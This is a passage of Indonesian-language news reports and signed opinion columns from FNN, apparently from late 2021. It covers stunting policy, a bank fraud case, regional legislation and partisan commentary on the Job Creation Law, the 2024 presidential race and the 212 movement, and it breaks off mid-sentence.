Jakarta, FNN - Wakil Presiden Ma’ruf Amin meminta Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) melakukan pemetaan terhadap daerah-daerah dengan angka kekerdilan pada anak atau stunting cukup tinggi, sehingga tindak penanganannya sesuai dengan karakter masing-masing daerah. Hal itu disampaikan Juru Bicara Wapres Masduki Baidlowi dalam keterangan yang diterima di Jakarta, Rabu, terkait pertemuan antara Wapres Ma’ruf Amin dan Kepala BKKBN Hasto Wardoyo di Istana Wapres Jakarta, Selasa (30/11). "Wapres meminta agar BKKBN memetakan daerah-daerah yang memiliki kasus stunting tinggi. Terpetakannya daerah-daerah yang tinggi stunting-nya itu penting agar dapat dilakukan rencana aksi secara lebih khusus per wilayah, sesuai dengan karakter daerah masing-masing," kata Masduki. Upaya penanganan stunting di berbagai daerah tersebut, lanjut Masduki, juga dapat menggunakan pendekatan kearifan lokal, sehingga dapat memanfaatkan sumber gizi yang ada di setiap daerah. Wapres juga mencontohkan di Nusa Tenggara Timur (NTT), masyarakat setempat memanfaatkan sumber daya alam daun kelor sebagai biskuit untuk menambah gizi anak-anak. "Masing-masing daerah punya kearifan lokal sendiri-sendiri. Dengan demikian maka bagaimana ibu-ibu atau keluarga dapat mulai sejak dini, dengan kearifan lokalnya, memanfaatkan sumber-sumber gizi yang ada di sekitarnya secara maksimal," jelasnya. Masduki mengatakan BKKBN melaporkan terkait progres penanganan stunting sesuai Peraturan Presiden (Perpres) Nomor 72 Tahun 2021 tentang Percepatan Penurunan Stunting. BKKBN telah menyiapkan tim pendamping keluarga, yang terdiri atas bidan, kader lapangan dan kader PKK, untuk melakukan sosialisasi terkait penanganan stunting kepada masyarakat. BKKBN juga akan memberikan pelatihan kepada 600.000 tenaga penyuluh lapangan secara bertahap mulai Januari 2022. "Dari 600.000 orang itu nanti akan bergerak secara nasional ke setiap kecamatan, terutama di daerah-daerah yang stunting-nya tinggi," ujarnya. (sws)

Wapres Minta BKKBN Percepat Target Penurunan "Stunting"

Jakarta, FNN - Wakil Presiden Ma’ruf Amin meminta Badan Kependudukan dan Keluarga Berencana Nasional (BKKBN) untuk mempercepat target penurunan angka kekerdilan pada anak atau stunting. Juru Bicara Wapres Masduki Baidlowi, dalam keterangan yang diterima di Jakarta, Rabu, mengatakan hal tersebut disampaikan langsung Wapres Ma’ruf kepada Kepala BKKBN Hasto Wardoyo dalam pertemuan di Istana Wapres Jakarta, Selasa (30/11). "Wapres memerintahkan kepada BKKBN untuk melakukan langkah-langkah percepatan penanganan stunting dengan target 14 persen untuk selesai dalam 2,5 tahun, ya sampai akhir masa periode pemerintahan Presiden Joko Widodo dan Wapres Ma’ruf Amin," kata Masduki. Wapres juga mengimbau BKKBN untuk lebih intensif berkoordinasi dengan berbagai kementerian dan lembaga pemerintah non-kementerian (K/L) terkait serta pemerintah daerah (pemda) untuk menurunkan angka stunting. "Lalu juga harus dilakukan konvergensi program antara K/L bersama pemda kabupaten dan kota. Kalau bisa terkoordinasi dengan baik, itu adalah kunci keberhasilan. Itu menjadi syarat utama yang diharapkan Wapres," jelas Masduki. Pemerintah menargetkan penurunan prevalensi angka stunting di Indonesia mencapai 14 persen pada 2024. Hal itu merupakan salah satu komitmen Pemerintah Indonesia dalam mencapai tujuan pembangunan berkelanjutan atau sustainable development goals (SDGs). Wapres mengatakan pencapaian tujuan pembangunan berkelanjutan itu harus dicapai secara inklusif dengan melibatkan seluruh elemen masyarakat. "Pada prinsipnya, kita harus terus memastikan SDGs dicapai dengan upaya inklusif, no one left behind, sehingga tidak ada satu pun orang, wilayah, ataupun negara yang tertinggal," ujar Wapres. (sws)

Kedubes India Luncurkan Buku Soroti Potensi Kerja Sama dengan RI

Jakarta, FNN - Kedutaan Besar India di Jakarta pada Selasa malam meluncurkan sebuah buku bertajuk ‘KESAMAAN India-Indonesia: The Next Step’ yang menggarisbawahi potensi penguatan kerja sama di berbagai sektor serta meneropong hubungan bilateral kedua negara. “Buku ini memberikan gambaran yang baik terhadap sifat dari hubungan antara India dan Indonesia, situasi geopolitik di kawasan kita, dan bagaimana kedua negara berupaya untuk beradaptasi dengan dinamika geopolitik,” ujar Duta Besar India untuk Indonesia Manoj K Bharti dalam sambutannya, di Jakarta, Selasa malam. Dia mengatakan bahwa buku tersebut juga menyerukan penguatan kerja sama di belasan sektor, termasuk konektivitas, maritim, dan hubungan antarmasyarakat. Ia pun menegaskan bahwa di bawah hubungan bilateral yang komprehensif dan strategis, kedua negara telah berkomitmen untuk meningkatkan volume perdagangan hingga mencapai 50 miliar dolar AS pada 2025, Kerja sama ekonomi yang semakin beragam dan luas antara kedua negara diyakini dapat meningkatkan stabilitas rantai pasokan global, yang juga sempat terdampak oleh pandemi COVID-19, katanya. Dia pun menegaskan bahwa hubungan bilateral yang memiliki berbagai sisi akan dapat membantu kedua negara untuk maju bersama dengan tetap memprioritaskan keberlanjutan ekonomi, sosial, dan lingkungan. Duta Besar yang ditunjuk Indonesia untuk India Ina Hagniningtyas Krisnamurthi mengatakan bahwa buku tersebut tak hanya melihat pada sejarah hubungan kedua negara, namun melihat bagaimana semangat kolaborasi dengan India di berbagai sektor dapat dibangun. Hal tersebut menjadi kian relevan mengingat kedua negara akan menduduki keketuaan G20 secara berturut-turut, dengan Indonesia pada tahun 2022 dan India pada 2021. “Sebagai presidensi yang back-to-back di dua tahun mendatang, (kedua negara) harus menunjukkan kepemimpinan bagi dunia, terutama untuk ekonomi dan kesejahteraan rakyat,” katanya pula. (sws)

Kodam XVII/Cenderawasih Serahkan 67 Kendaraan Operasional Mabes TNI AD

Jayapura, FNN - Panglima Kodam XVII/Cenderawasih Mayjen TNI Ignatius Yogo Triyono menyerahkan 67 unit kendaraan operasional Taktis Indonesian Light Strike Vehicle (ILSV) J-Forces Armored dan motor Honda CRF 150 L bantuan dari Mabes TNI AD. Pangdam XVII/Cenderawasih dalam keterangan diterima, Rabu dini hari, mengatakan, bantuan kendaraan dinas Kodam XVII merupakan momen yang sangat menggembirakan sebab Kodam XVII/Cenderawasih kembali menerima kendaraan dinas hasil pengadaan TNI AD tahun 2021. "Yang mana pendistribusian kendaraan bermotor ini merupakan wujud kepedulian dan perhatian dari pimpinan TNI AD kepada satuan jajaran TNI AD termasuk Kodam XVII/Cenderawasih untuk mendukung tugas pokok,"ungkap Pangdam Mayjen Ignatius Yogo Triyono. Diakui Pangdam XVII/Cenderawasih, sebanyak 67 kendaraan tersebut terdiri dari tiga Kendaraan taktis Indonesian Light Strike Vehicle (ILSV) J-Forces Armored dan 64 kendaraan motor Honda CRF 150 L. "Dimana 67 kendaraan tersebut nantinya akan diserahkan ke beberapa satuan jajaran Kodam XVII/Cenderawasih di wilayah Jayapura 30 unit, Biak 4 unit, Nabire 20 unit, Timika 4 unit, Merauke 6 unit dan untuk Kendaraan Taktis ILSV akan diberikan kepada Korem 172/PWY, Kodim 1705/Nabire dan Kodim 1710/Mimika," ungkap Pangdam XVII/Cenderawasih. Dengan dukungan kendaraan dinas baru, menurut, Pangdam Mayjen Ignatius Yogo, agar kendaraan dapat digunakan, dirawat dan dijaga dengan sebaik-baiknya dalam rangka mendukung tugas pokok satuan jajaran Kodam XVII/Cenderawasih. "Saya serahkan kendaraan dinas ini supaya dirawat, dijaga, dimanfaatkan dan dipelihara dengan sebaik-baiknya sehingga akan memperpanjang usia pakai kendaraan,"pesan Mayjen TNI Ignatius Yogo Triyono. Selepas penyerahan kendaraan dinas, Pangdam XVII/Cenderawasih bersama pejabat Kodam lainnya mengecek secara langsung kendaraan operasional Mabesad digelar di lapangan Makodam XVII/Cenderawasih. (sws)

Polisi Ungkap Peran Tersangka Kasus "Money Game" Bank NTB Syariah

Mataram, FNN - Penyidik Direktorat Reserse Kriminal Khusus Kepolisian Daerah Nusa Tenggara Barat akhirnya mengungkap peran tersangka kasus "money game" (permainan uang) pada Bank NTB Syariah. Direktur Reserse Kriminal Khusus Polda NTB Kombes Pol I Gusti Putu Gede Ekawana di Mataram, Selasa, mengatakan peran tersangka terungkap dari hasil gelar perkara penyidikan. "Dari gelar, tersangka dalam kasus ini adalah terlapor (PS)," kata Ekawana. Alat bukti yang menguatkan PS sebagai tersangka, terkait adanya kerugian negara hasil hitung tim independen. Nilainya mencapai Rp11,9 miliar. Dari penelusuran penyidik, jelas Ekawana, uang negara tersebut diduga hanya dinikmati oleh PS. Belum ada dugaan aliran uang yang mengarah ke pihak lain. "Itu langsung diambil 'cash'. Untuk pribadi," ujarnya. Modus PS meraup keuntungan demikian dengan sistem layaknya "gali lobang, tutup lobang". Setiap ada komplain nasabah terkait kekurangan nominal tabungannya, PS menutupinya dengan mengambil dari rekening nasabah lain. Modus demikian diduga terjadi sejak tahun 2012. Karena saling tutup, modus ini tidak terdeteksi Sistem Pengendali Internal (SPI). Modusnya terungkap periode 2019-2020, setelah PS angkat kaki dari jabatannya sebagai penyelia pelayanan nontunai. Penyidikan kasus dugaan "money game" pada Bank NTB Syariah ini berawal dari adanya laporan. Dari penyidikan, kerugian muncul dari dana transaksi 440 nasabah Bank NTB Syariah. Ada dugaan peran oknum orang dalam yang sengaja melakukan manipulasi transaksi ratusan rekening nasabah. (sws, ant)

Anggota DPRD Tangerang Dilaporkan ke Polisi Atas Dugaan KDRT

Tangerang, FNN - Kabid Humas Polda Banten AKBP Shinto Silitonga membenarkan adanya laporan dan penanganan kasus yang ditangani Polresta Tangerang terkait adanya dugaan tindak kekerasan dalam rumah tangga (KDRT) oleh oknum anggota DPRD Kabupaten Tangerang. "Benar, ada perkaranya yang sedang ditangani Polresta Tangerang," kata Shinto melalui pesan singkat yang diterima di Tangerang, Selasa. Ia menjelaskan dengan adanya laporan itu maka status perkara tersebut saat ini sudah masuk dalam proses penyelidikan. "Sudah masuk dalam penyidikan," singkatnya. Namun demikian, Shinto enggan merinci lebih jelas terkait kronologis penanganan kasus KDRT tersebu. "Lebih jelasnya bisa tanyakan ke Kasi Humas Polres Tangerang," kata dia. Informasi yang dihimpun ANTARA, peristiwa tersebut terjadi pada Senin (03/5/2021). Korban Berinisial LKS melaporkan adanya tindak kekerasan dalam rumah tangga (KDRT) yang dilakukan oleh suaminya berinisial RGS. Laporan tersebut diterima oleh Unit Pelayanan Perempuan dan Anak (PPA) Polresta Tangerang, Polda Banten. akan melakukan visum dan meminta keterangan terhadap korban. (sws, ant)

Menegakkan UUD 45 Secara Murni dan Konsekuen (dengan Politik, bukan Dekrit)

Oleh Ridwan Saidi Dikeluarkannya Dekrit 5 Juli 1959 karena Presiden Sukarno anggap Konstituante gagal menjalankan tugasya, padahal tugas itu baru berakhir Agustus 1960. Konstituante bekerja menyusun konstitusi selama tiga tahun, terhitung pembentukannya Agustus 1958 berdasar hasil Pemilu 1957. Dekrit diberlakukan dengan Kepres No. 150/1959 dan ditempatkan dalam Lembaran Negara No. 75/1959. UUD yang didekritkan itu adalah Putusan PPKI 18 Agustus 1945 yang ditempatkan dalam Berita Negara Januari 1946. Sesuai dengan asas pemberlakuan, sampai dengan penempatannya dalam Berita Negara, UUD 45 tak dapat diberlakukan. Karena itu yang dibentuk setelah proklamasi kabinet presidensial yang dipimpin Wapres Muhammad Hatta. Karya mereka Maklumat No. X November 1945 tentang pembentukan partai. Pemahaman tentang asas pemberlakuan ini penting karena mereka yang pro-perubahan konstitusi mengingkarinya atas dasar pandangan yang tidak objejtif. Ketika Ketua MPR Hidayat Nur Wahid mengajukan konstitusi hasil empat kali perubahan ke Setneg untuk ditempatkan dalam Lembaran Negara, ditolak, alasan Setneg format konstitusi bikinan reformasi itu tak dikenal. Seharusnya tak boleh diberlakukan, karena UUD 45 perubahan itu onrechterlijk sehingga itu menjadi onrechtlijk. Tidak diformat sesuai hukum, karenanya bukan hukum. Kenapa berlaku? Karena political power bukan karena kaidah hukum. Sejak era SBY UUD 45 perubahan ramai didiskusikan. Pada tahun 2005 saya pembicara bersana Kian Gie, dan almarhum Amin Aryoso. Saya mengatakan bahwa UUD 45 yang murni tidak diberlakukan secara politik, tapi UUD 45 perubahan tak berlaku sesuai hukum tapi diberlakukan secara politik. UUD 45 yang murni harus ditegakkan dengan politik, karena secara hukum konstitusi ini yang berlaku. UUD 45 yang murni tak perlu dikembalikan, karena masih di tempatnya. UUD 45 tak perlu Dekrit. Dekrit perbuatan hukum, menegakkan UUD 45 perlu perbuatan politik, karena UUD 45 dibungkam secara politik, bukan secara hukum. Mendekrit UUD 45 dalam statusnya seperti ini onrechtmatig, bukan cara hukum. Berbuat rechtlijk tak dapat dengan onrechtmatigdaad, cara-cara di luar hukum. Keadaan Indonesia yang morat-marit seperti sekarang bukan disebabkan rezim saja, tapi juga sistem. Sebagai penutup saya ingin mengucapkan ahlan wa sahlan kepada tokoh pelopor perubahan empat kali UUD 45. Semoga bapak tidak tergoda dengan orang yang omong Dukrat-Dekrit. Nanti bisa salah lagi, Pak. *) Budayawan

DPRD Ketapang Bahas Enam Raperda

Pontianak, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Ketapang, Kalimantan Barat melakukan pembahasan enam rancangan peraturan daerah (raperda) dalam Rapat Paripurna Masa Persidangan 13 Tahun Sidang 2021/2022. "Sampai saat ini pansus-pansus DPRD Ketapang masih membahas enam raperda. Ada satu raperda tambahan usulan dari eksekutif dan perpanjangan masa kerja Panitia Khusus (Pansus) DPRD Ketapang," ujar Wakil Ketua DPRD Ketapang, Jamhuri Amir saat dihubungi di Ketapang, Selasa, 30 November 2021. Ia menjelaskan bahwa Pansus I membahas raperda penyelenggaraan keolahragaan dan raperda kepemudaan. Pansus II membahas raperda pengelolaan rumah kos dan raperda retribusi persetujuan bangunan gedung. Kemudian, Pansus III membahas raperda pembangunan industri Kabupaten Ketapang 2021 - 2041. Pansus IV membahas raperda penanggulangan Covid-19. "Ini sesuai dengan keputusan DPRD Ketapang Nomor 11 Tahun 2021 tentang Pembentukan panitia khusus pembahas rancangan peraturan daerah," ungkap Jamhuri, sebagaimana dikutip dari Antara. Ia menjelaskan berdasarkan surat Bupati Ketapang Nomor P/2285HK-A 180/x1/2021 tanggal 18 November 2021 yang telah disampaikan kepada DPRD Ketapang ada tambahan satu raperda yaitu tentang bangunan gedung. Dia mengatakan, raperda tersebut sangat dibutuhkan dalam penyelenggaraan pemerintahan. Dengan memperhatikan ketentuan pasal 239 ayat 7 undang-undang nomor 23 tahun 2014, pasal 7 ayat 3 dan 4 Peraturan Pemerintah nomor 12 tahun 2018 tentang Pedoman penyusunan tata tertib DPRD provinsi, kabupaten/kota serta Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 120 Tahun 2018 pasal 16 ayat 5 huruf c dan e, dalam keadaan tertentu. "DPRD atau kepala daerah dapat mengajukan Raperda di luar program pembentukan peraturan daerah. Hal tersebut di atas sudah ditindak lanjuti oleh DPRD dengan melaksanakan rapat konsultasi pimpinan DPRD, pimpinan Bapemperda, pimpinan pansus dan ketua-ketua fraksi pada 26 November 2021. Menurutnya berdasarkan itu maka telah disepakati untuk melakukan pembahasan atas usulan tambahan satu Raperda dimaksud serta akan memperpanjang masa kerja Pansus-Pansus DPRD pembahas Raperda," jelas dia. (MD).

Batalkan UU Cipta Kerja Segera!

Oleh Marwan Batubara Putusan Mahkamah Konstitusi (MK) No.91/PUU XVII/2020 menyatakan pembentukan UU No.11/2020 tentang Cipta Kerja (Ciptaker) cacat formil, sehingga statusnya inkonstitusional bersyarat. Meskipun dinyatakan berlawanan dengan UUD 1945, UU Ciptaker No.11/2020 masih dianggap berlaku, dengan syarat dalam dua tahun ke depan harus diperbaiki. Jika tidak, maka UU No.11/2020 menjadi inkonstitusional dan tidak berlaku secara permanen. Presiden Jokowi dalam siaran pers (29/11/2021) mengatakan: “MK sudah menyatakan UU Cipta Kerja masih tetap berlaku. Dengan demikian, seluruh peraturan pelaksanaan Cipta Kerja yang saat ini masih tetap berlaku. Dengan dinyatakan masih berlakunya UU Cipta Kerja, maka seluruh materi dan substansi UU Cipta Kerja sepenuhnya tetap berlaku tanpa ada satu pasalpun yang dibatalkan atau dinyatakan tidak berlaku oleh MK”. Meski telah menjadi Putusan MK, rakyat pantas menuntut agar UU No.11/2020 Ciptaker, berikut 49 Peraturan Pemerintah (PP) dan 3 Peraturan Presiden (Perpres) di bawahnya *dibatalkan*. UU No.11/2021 tidak layak diberlakukan sebagaimana dinyatakan Presiden Jokowi (29/11/2021) di atas. Maka UU atau pasal-pasal dan materi muatan UU yang telah dicabut atau diubah oleh UU No.11/ 2020 harus dinyatakan berlaku kembali. Tuntutan pembatalan UU Ciptaker No.11/2020 didasari berbagai fakta dan logika hukum, serta kepentingan strategis negara dan rakyat Indonesia seperti diurai berikut. Pertama, MK menyatakan secara formil pembentukan UU No.11/2020 bertentangan dengan konstitusi. Maka, jika cara dan proses pembentukan UU No.11/2020 saja sudah tidak sesuai konstitusi dan asas pembentukan peraturan perundang-undangan yang berlaku, maka materi muatan yang ada di dalamnya otomatis juga bertentangan dengan konstitusi. Kedua, dengan putusan MK No.91/2020 maka concern publik, terutama stake holders terkait, tentang adanya moral hazard dalam pembentukan UU Ciptaker telah *terkonfirmasi.* Karena dominannya kepentingan sejumlah kalangan dalam lingkar kekuasaan, terutama para anggota oligarki penguasa-pengusaha, maka amanat konstitusi dan asas pembentukan peraturan perundang-undangan pun dilanggar. Ketiga, dominannya peran oligarki dalam proses pembentukan UU Ciptaker tak lepas dari motif yang diusung. Justru motif inilah yang lebih merusak negara dan merugikan rakyat dibanding pelanggaran asas formil pembentukan peraturan. Motif oligarki terlibat aktif adalah agar ketentuan dan materi muatan UU Ciptaker menjamin tercapainya agenda dan kepentingan yang dituju, tak peduli jika materi muatan tersebut melanggar konstitusi. Karena berstatus UU oligarkis, maka sangat pantas jika UU Ciptaker dinyatakan batal segera! Keempat, bertolak belakang dengan kesempatan dan peran luas tanpa batas bagi anggota oligarki, pemerintah justru membatasi partisipasi dan akses publik. Secara esensial, hak publik berpartisipasi harus memenuhi syarat berupa: hak untuk didengar, hak untuk dipertimbangkan dan hak mendapat jawaban. Karena hak-hak publik ini, terutama stake holders terkait, telah diberangus, maka otomatis materi muatan UU Ciptaker pun inskonstitusional. Dalam rangka mengakomodasi partisipasi publik Putusan MK No.91/2020 memang telah memuat terjadinya berbagai rapat dengar pendapat umum (RDPU), rapat kerja, FDG, lokakarya, diskusi publik dan berbagai forum yang digelar DPR dan pemerintah (halaman 441-445). Namun karena lebih bersifat searah, basa-basi, formalitas, “pemaksaan kehendak”, tanpa dialog untuk mencapai kesepakatan, maka banyak pihak yang bersifat pasif dan walk-out dari forum tersebut. Sehingga wajar jika materi muatan yang dihasilkan pun tidak sesuai konstitusi. Kelima, hakim-hakim MK telah mendapat berbagai “fasilitas” dari pemerintah dalam UU MK No.7/2020. Hal ini patut diduga “hadiah atau suap” yang dapat membuat para hakim gagal bersikap objektif memutus perkara uji formil/materil UU Ciptaker. Misalnya, perpanjangan masa jabatan menjadi 70 tahun bagi yang tengah menjabat, perpanjangan periodisasi hakim sebagai konsekuensi masa jabatan yang diperpanjang, atau perpanjangan masa jabatan ketua dan wakil ketua menjadi lima tahun. Berbagai “hadiah” ini dapat menimbulkan “conflict of intersest” yang menghasilkan putusan MK bernuansa “moral hazard”. Publik dapat menilai MK bagian dari oligarki, sehingga putusannya tidak konsisten dengan konstitusi. Keenam, sejumlah pakar menyatakan Putusan MK No.91/2020 jalan tengah yang pantas diterima dan diapresiasi. Lalu ada pula yang menyatakan putusan tersebut diambil karena ada asas manfaat yang harus dipertimbangkan. Dengan dugaan adanya moral hazard di atas, publik dapat pula menilai jika putusan MK merupakan jalan tengah. Namun jalan tengah yang memilih antara amanat konstitusi dengan kepentingan oligarki dan pribadi para hakim, bukan memilih antara amanat konstitusi dengan manfaat bagi kepentingan rakyat. Uraian di atas menjelaskan berbagai alasan mengapa Putusan MK No.91/2020 dan UU Ciptaker No.11/2020 harus dibatalkan. Guna mencapai target oligarki kekuasaan, berbagai cara dan rekayasa dilakukan, termasuk partisipasi publik dihambat dan UU MK dirubah. Kondisi ini jelas bertentangan dengan asas-asas yang diamanatkan Pancasila, UUD 1945 dan prinsip-prinsip demokrasi. Karena itu, rakyat pantas menuntut agar UU Ciptaker segera dibatalkan dan untuk itu Pemerintah harus segera menerbitkan Perppu. Mari terus kita suarakan![] *) Direktur Eksekutif IRESS

Prabowo-Puan, Pasangan Yang Paling Siap Maju

Oleh Tony Rosyid Elektabilitas Prabowo untuk saat ini tertinggi. Artinya, Prabowo masih punya peluang untuk maju di pilpres 2024. Dengan siapa pasangannya? Karena suara Gerindra tidak cukup untuk bisa mengusung calon sendiri, maka harus ada partai lain. Pertama, partai itu harus punya kader potensial untuk menguatkan elektabilitas Prabowo. Kedua, partai punya jumlah suara cukup untuk menambah suara Gerindra jadi 20 persen sebagai syarat nyapres. Ketiga, partai tersebut punya chemistry dengan Prabowo dan Gerindra. Dari sekian partai yang ada, PDIP paling memenuhi syarat untuk berkoalisi dengan Gerindra. PDIP punya 20 persen suara. Jika nyapres sendiri, ini cukup. Namun, kecil kemungkinan dilakukan karena PDIP tidak ingin bertarung sendiri yang potensial menjadi conmon enemy. Maka, mesti gandengan partai lain. Partai yang paling dekat dengan PDIP saat ini adalah Gerindra. PDIP punya Puan Maharani. Meski saat ini elektabilitasnya masih rendah, ini lantaran kerja tim media Puan belum masif. Puan tidak kalah dengan Ganjar dalam konteks popularitas dan prestasi. Sebagai menteri PMK dan Ketua DPR, tentu ini bagian dari pencapaian tersendiri. Bahkan soal Ganjar Pranowo, sudah mulai banyak yang nanya rerkait prestasinya sebagai Gubernur Jawa Tengah. Sementara, elektabilitas Ganjar besar di Jawa Tengah. Ganjar memanfaatkan posisinya sebagai gubernur untuk kampanye dengan rajin menemui warga di desa-desa dan kampung- kampung. Inilah yang membuat elektabilitas Ganjar dua digit. Jika Puan juga melakukan hal yang sama secara masif di Jawa Tengah, juga Jawa Timur, boleh jadi suara Ganjar akan tergerus. Pemilih Indonesia secara umum itu menggunakan perasaan. Dan perasaannya akan tersentuh kalau didatangi, disapa, diajak salaman dan ngobrol. Apalagi kalau senyum anda renyah, ini modal pencitraan yang cukup efektif. Gak penting siapa anda, dari partai apa, dan bagaimana track record serta prestasi anda. Bukan mereka gak peduli, tapi karena memang mereka gak paham. Yang mereka tahu, anda datang, ajak salaman, apalagi bawa sembako. 38 persen pemilih kita menentukan suara karena sembako/uang yang diterimanya. Pemilih rasional (mau mikir) itu gak terlalu besar jumlahnya. Umumnya ada di perkotaan. Mereka yang sedikit ini mengerti tentang integritas dan kapasitas calon. Mayoritas pemilih gak ngerti, dan gak mau ngerti. Yang mereka tahu calon itu hadir dan kasih sembako. Di sinilah pencitraan itu menentukan. Dan Ganjar kuat di sisi pencitraan. Siapa yang kuat di pencitraan, elektabilitasnya naik. Puan kurang kuat dalam mengemas pencitraan dirinya. Begitu juga calon yang lain, termasuk Prabowo. Ini PR serius. Keduanya harus banyak latihan senyum seperti Ganjar. Belajar menggunakan bahasa pergaulan, terutama saat menyapa warga. Prabowo-Puan, jika betul-betul menjadi pasangan yang ingin maju di Pilpres 2024 mesti mampu mengemas brand dirinya, rajin jumpa dan ketemu masyarakat, terutama di Jawa Tengah yang menjadi kandang banteng. Kalau pasangan ini memiliki tim media dan tim darat yang handal sebagaimana yang dimiliki oleh Ganjar, tentu akan menjadi kompetitor yang menyulitkan bagi Ganjar. Puan punya ceruk suara yang sama dengan Ganjar Pranowo. Sisanya, bisa disisir oleh Parbowo dan bakal calon yang lain seperti Anies Baswedan. Apalagi kalau Ketum sudah instruksikan para kader PDIP untuk pilih Prabowo-Puan, beres itu semua. Ini terjadi saat Gibran nyalon walikota di Solo. Instruksi turun dari DPP, kelar! Dan Gibran menang telak. Instruksi ini gak boleh telat. Setidaknya sinyalnya mesti sudah mampu ditangkap oleh kader-kader PDIP dan juga Gerindra. Dengan sinyal itu, para kader akan bekerja. Jika keputusan itu telat, ini bisa menjadi prahara serius di tubuh PDIP itu sendiri. Publik membaca, Ketum PDIP sedang mengikuti perkembangan dan dinamika yang terjadi untuk menjadi bahan membuat keputusan terkait capres-cawapres 2024. PDIP punya kader dan pemilih yang sangat militan dan loyal. Para kader tegak lurus pada instruksi ketua umum, yaitu Megawati. Di sinilah kelebihan PDIP dibanding partai-partai lain. Deklarasi Prabowo-Puan sudah dimulai. Kemarin (29/11) ada deklarasi Prabowo-Puan di Banten. Selama ini, deklarasi paling masif dilakukan oleh para pendukung Anies Baswedan. Kalau Prabowo-Puan juga melakukan deklarasi dengan masif, terutama di wilayah Jawa yang jumlah pemilihnya 57,29 persen, maka akan dapat menjadi persiapan yang lebih matang untuk pertarungan di Pilpres 2024. *) Pengamat Politik dan Pemerhati Bangsa

212 Virus Mematikan Bagi Penguasa

Oleh: Yusuf Blegur Seiring berlangsungnya wabah pandemi global, bukan hanya virus Corona yang ditakuti rezim pemerintah. Bahkan pandemi yang berkepanjangan itu terkesan terus dipelihara. Bukan saja bisa dimanfaatkan untuk korupsi bansos, bisnis PCR dan peralatan sarana kesehatan lainnya, pandemi bisa dijadikan motif efektif untuk mengebiri demokrasi. Di tengah pandemi yang tak jelas ujungnya, sesungguhnya ada kekuatan gerakan moral rakyat yang disebut 212. Massa aksi yang lahir dari kebuntuan konstitusi dan demokrasi, telah menyeruak di hati sanubari dan jiwa rakyat. Tak ubahnya virus yang berbahaya dan mematikan. Perlemen jalanan fenomenal dan monumental yang belum pernah terjadi sebelumnya di Indonesia. 212, di hadapan rezim tetaplah menjadi ancaman nyata dan terbukti berbahaya bagi kelanggengan kekuasaan. Layaknya menghadap pandemi, pemerintah dengan berbagai cara berusaha mengantisipasi dan jika perlu melakukan rekayasa menghentikan atau menggembosi. 212 esensinya merupakan representasi kekuatan Islam di Indonesia melawan hegemoni dan dominasi kapitalisme dan komunisme global. Boleh jadi 212 merupakan kanalisasi politik umat Islam yang selama ini termarginalkan. Umat Islam seperti menemukan ruang dan wadah yang berusaha bangkit dalam keterpurukan. Bukan hanya ajang silaturahim dan menjalin ukuwah Islamiyah. Umat Islam juga berhasil membangun konsolidasi demokrasinya sendiri. umat Islam seperti melakukan pembangkangan dan perlawanan dari pelbagai intimidasi, tekanan dan teror yang terjadi selama ini. Konsistensi dan Penghianatan Belakangan berkembang rumor adanya upaya melemahkan aksi 212. Tidak cukup dari kekuasaan dan irisannya. Reuni unjuk rasa terbesar di Indonesia, malah mungkin yang terbesar di dunia yang pernah dilakukan di Monumen Nasional Jakarta. Berkembang adanya manuver untuk membonsai dan atau menggagalkannya dari kalangan internal. Seperti apa yang disampaikan oleh Habib Bahar Bin Smith. Ada semacam tindakan melacur dan mengkhianati semangat momen 212. Upaya tercela dan aib itu cenderung justru datang dari beberapa orang yang dianggap ikut membangun dan berjuang dalam 212 sejak tahun 2016 yang lalu. Meskipun tetap akan dilaksanakan. Kegiatan reuni 212, telah mengalami penurunan dari sisi substansi acara dan teknis pelaksanaannya. Selain bergesernya tempat acara dari yang terbiasa di Monas. Kini malah dipindahkan di Masjid Az-Zikra Sentul, Bogor. Mungkin juga terbagi kehadiran massanya di Patung Kuda, Jl. Merdeka Barat Jakarta. Bisa jadi terkendala perijinan teknis atau adanya kepentingan-kepentingan politik dari rezim atau dari notabene orang dalam 212. Betapapun aksi reuni 212 pada akhirnya membuka tabir kesetiaan dan istiqomah umat Islam. Juga adanya kecenderungan penghianatan orang-orang di dalamnya. Umat Islam yang memang sudah menunggu momen itu, tak pernah kehilangan semangat dan motivasi mengikuti reuni akbar yang strategis dan penuh makna tersebut. Aksi yang pernah menumbangkan pejabat yang menista agama Islam. Sejatinya merupakan satu-satunya harapan dan peluang terbesar umat Islam di Indonesia untuk menyuarakan aspirasi dan dan keinginannya. Rasanya, umat Islam harus bersabar dan tetap bertahan menunggu momen yang lebih tepat dan efektif. Biar bagaimanapun kekuasan tak akan pernah diam dan membiarkan efek domino aksi reuni 212 merusak dan menghancurkan konstelasi dan konfigurasi politik nasional. Bukan mustahil bisa berimplikasi pada kepentingan internasional. Karena pada dasarnya setiap kepentingan yang menghambat dan menjadi musuh terhadap aksi 212 merupakan sesuatu yang sama, berupa kapitalisme maupun komunisme yang bertumpu pada sekulerisasi dan liberalisasi. Baik pada wajah lokal oligarki maupun transnasional. Serta dalam tampilan kekuasaan represif dan tirani. Semoga umat tetap berpegang teguh dan istiqomah dalam ghiroh Islam. In syaa Allah saling nasihat-menasihati dalam kebenaran dan saling nasihat-menasihati dalam kesabaran. In syaa Allah. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Anies, Soekarno dan Aceh (ASA)

Oleh: Yusuf Blegur Anies Rasyid Baswedan terus merajut kebangsaan. Kali ini pada momen hari pahlawan yang lalu, Anies mengganti nama jalan Inspeksi Kalimalang dengan Laksamana Malahayati. Perubahan nama jalan di sebelah Utara Jakarta Timur dengan nama pahlawan dari Aceh itu, bukan saja sekadar memberikan penghargaan bagi pejuang Laksamana Malahayati dan Masyarakat Aceh. Lebih dari itu, Anies telah berupaya merekatkan kembali hubungan pemerintahan pusat dengan Aceh yang sejak lama cukup berjarak dan terasa dingin. Keputusan Gubernur 1242/2021 seperti mencoba mengobati hambatan psikologis dan psikopolitik masyarakat Aceh baik dalam aspek sejarah, ideologi, dan politik. Pasang surut khususnya hubungan Soekarno dengan pemimpin-pemimpin dan rakyat Aceh, baik pada masa pergerakan kemerdekaan maupun pasca kemerdekaan RI. Seakan ingin dicairkan Anies dengan pemberian nama jalan Laksamana Malahayati di belahan kota Jakarta. Memang tidak bisa merubah seketika perspektif dan mainset masyarakat Aceh terhadap perlakuan Soekarno terutama pada saat RI masih dalam revolusi fisik. Tapi setidaknya, Anies telah menunjukkan bagaimana sifat pemimpin yang merangkul dan mengayomi 